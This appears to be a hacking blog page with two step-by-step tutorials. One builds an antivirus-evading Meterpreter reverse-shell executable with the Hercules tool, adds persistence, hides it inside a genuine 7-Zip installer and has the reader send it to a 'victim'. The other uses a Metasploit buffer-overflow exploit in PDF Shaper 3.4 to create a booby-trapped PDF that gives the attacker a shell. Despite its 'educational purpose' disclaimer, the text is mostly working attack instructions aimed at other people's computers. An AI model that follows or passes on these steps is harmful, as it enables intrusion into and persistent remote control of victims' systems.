hacking windows 7

All posts tagged hacking windows 7

WARNING:

This post is for educational purpose only and remember that using this tutorial for any nefarious purpose will land you in prison for three years and a fine of two lakh rupees in India. Concerning other countries, Please refer your respective nation’s Cyber law.

Good news : Regardless of what the title says, this works even on windows 8 and 7

Good evening friends. I wanted to test the security of Windows 10 (actually of its antivirus ). Since remote exploits ceased to exist in Windows operating systems after Windows XP,  it can only be done by sending payloads in portable executables. The biggest challenge in sending these  malicious portable executables is bypassing its security mechanisms. Enter Hercules.

Hercules  is a special payload generator that can bypass all antivirus software. It has features like persistence and keylogger which make it too cool. Named after a Greek Hero, Hercules stands up for its name. In our testing, none of the antivirus was able to detect payload generated by Hercules. Now let us see how Hercules can be used to hack Windows 10 . In Kali Linux, open a terminal and type command git clone https://github.com/EgeBalci/Hercules to clone Hercules into Kali Linux.

hercules1

The tool is cloned into directory called Hercules. Navigate into that directory and view the contents of the directory as shown below. There is a directory called SOURCE. Move into that directory. There should be a file called HERCULES.go.

hercules2

Now type command go build HERCULES.go  to build this file. Remember Linux is very strict, so be careful with uppercase and lowercase. Once you run that command, we will get another file with the same name but without any extension as shown below.

hercules3

Now its time to create our payload. Type command,

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic 

Let me explain this command.

192.168.25.146 – IP address of our attacker system ( in our case Kali Linux )

4444 – the port number over which we want our victim system to connect to us.

-p – payload ( in this case, windows/meterpreter/reverse_tcp )

-a – architecture of the payload ( 64 bits or 32 bits )

-l – linking ( static or dynamic, dynamic linking reduces the payload size )

Hit on Enter. Our payload is created in the same directory.

hercules4

Our payload’s name is payload.exe. Type “ls”  as shown below. Now send this file to our victim using your creativity.

hercules5

On our Kali Linux, type command nc -l -p 4444. We are opening a netcat session on port 4444 ( the same port we set up above). Now when the user clicks on our payload, we will get the remote system’s shell as shown below.

hercules6

Type command help to see all the commands we can execute on our target system.

hercules7

For example, type command systeminfo to see all the system settings of our target. This was pretty simple. But this is a one time session, which means once you get out of this session you are disconnected from your victim.

hercules8

So let’s add a little bit reality to our payload this time. Now we will add two things:persistence and embedding.

–persistence – Once our payload is executed by the victim, it will continually try to connect to our attacker system. So we can end the session and start it once again. The only condition is our victim’s system should be on and of course we should be listening.

–embed – we will add a genuine executable into our payload. Type command

./HERCULES 192.168.25.146 4444 -p windows/meterpreter/reverse_tcp -a x86 -l dynamic –persistence –embed=/root/Desktop/7z1602.exe 

Here we are embedding 7zip into our payload. Remember we need to send the payload created in SOURCE directory to our victim.

hercules9

So when victim clicks on our payload to install it, UAC will prompt this window( the user should get a whiff here, if he is aware ).

hercules10

When the user clicks on “yes”, the installation will progress normally on the victim’s system.

hercules11

And on our attacker system, we should have already got the victim’s shell as shown below. As I already told, this is a persistent connection. Disconnect the session by typing ‘CTRL+C” and connect again with nc -l -p 4444 to get the session back.  Hope that was helpful. If you have any queries or doubts, please feel free to leave your comments.

hercules12

Good evening friends. Today we will see how to exploit a Windows 7 system with PDF shaper buffer overflow exploit which exploits a vulnerability in PDF shaper 3.4. To those newbies who don’t know what is PDF shaper, it is a “collection of free PDF tools, which allows you to merge, split, encrypt and decrypt PDFs, convert images to PDF, convert PDF to Word RTF or images, extract text and images from PDF. ”

We will use Kali Linux as the attacker machine for hacking Windows 7.  Start Metasploit and search for “pdf shaper” exploit. as shown below.

pdfshaper2

 

pdfshaper3

Copy the exploit path as shown above and load the exploit as shown below. Set the payload as “windows/meterpreter/reverse_tcp”.

pdfshaper4

Set the IP address of Kali Linux as LHOST. Type command “exploit”. A pdf file will be created as shown below.

pdfshaper5

We have to send this pdf file to our target. Before that, we will have to start a listener for this specific exploit. Load the following exploit and payload as given in the below image.

pdfshaper6

Set lhost and lport exactly as same as the values we have given above. Type command “exploit”.

pdfshaper7

Now send the file to our target. When he uses PDF shaper to convert our pdf to image as shown below

pdfshaper1

pdfshaper8

pdfshaper9

we get a meterpreter session on our attacker system as shown below.

pdfshaper10